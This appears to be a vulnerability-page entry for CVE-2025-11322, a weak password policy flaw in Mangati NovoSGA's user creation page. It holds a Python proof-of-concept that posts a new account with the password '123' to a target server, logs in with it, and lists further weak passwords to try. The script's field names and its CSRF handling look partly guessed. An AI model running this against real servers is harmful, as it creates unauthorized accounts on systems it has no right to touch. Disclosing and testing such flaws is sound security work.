CVE-2025-11322 Mangati NovoSGA用户创建页面弱密码策略漏洞

# CVE-2025-11322 - Mangati NovoSGA Weak Password Policy PoC # Vulnerability: Weak password requirements in user creation page # Affected: Mangati NovoSGA <= 2.2.12 # Endpoint: /novosga.users/new import requests TARGET_URL = "http://target-novosga-server" CREATE_USER_ENDPOINT = "/novosga.users/new" # Step 1: Get the user creation page to retrieve CSRF token (if any) session = requests.Session() response = session.get(f"{TARGET_URL}{CREATE_USER_ENDPOINT}") # Step 2: Prepare the payload with a weak password # The vulnerability allows passwords like "123", "abc", or single characters weak_password_payload = { "username": "test_user_weak", "email": "[email protected]", "senha": "123", # Weak password - only 3 digits "confirmacao_senha": "123", # Password confirmation "nome": "Test", "sobrenome": "User", "perfil": "USER", "status": 1 } # Step 3: Submit the user creation request with weak password response = session.post( f"{TARGET_URL}{CREATE_USER_ENDPOINT}", data=weak_password_payload, headers={ "Content-Type": "application/x-www-form-urlencoded", "Referer": f"{TARGET_URL}{CREATE_USER_ENDPOINT}" } ) # Step 4: Verify the account was created with weak password if response.status_code == 200 or response.status_code == 302: print("[+] User created successfully with weak password '123'") # Step 5: Attempt login with the weak password login_endpoint = "/novosga.login" login_payload = { "username": "test_user_weak", "password": "123" } login_response = session.post( f"{TARGET_URL}{login_endpoint}", data=login_payload ) if "dashboard" in login_response.url or login_response.status_code == 302: print("[+] Successfully logged in with weak password!") print("[+] Vulnerability CVE-2025-11322 confirmed") else: print(f"[-] Request failed with status code: {response.status_code}") # Additional weak passwords to test: # "a" (single character) # "password" (common dictionary word) # "123456" (sequential numbers) # "qwerty" (keyboard pattern)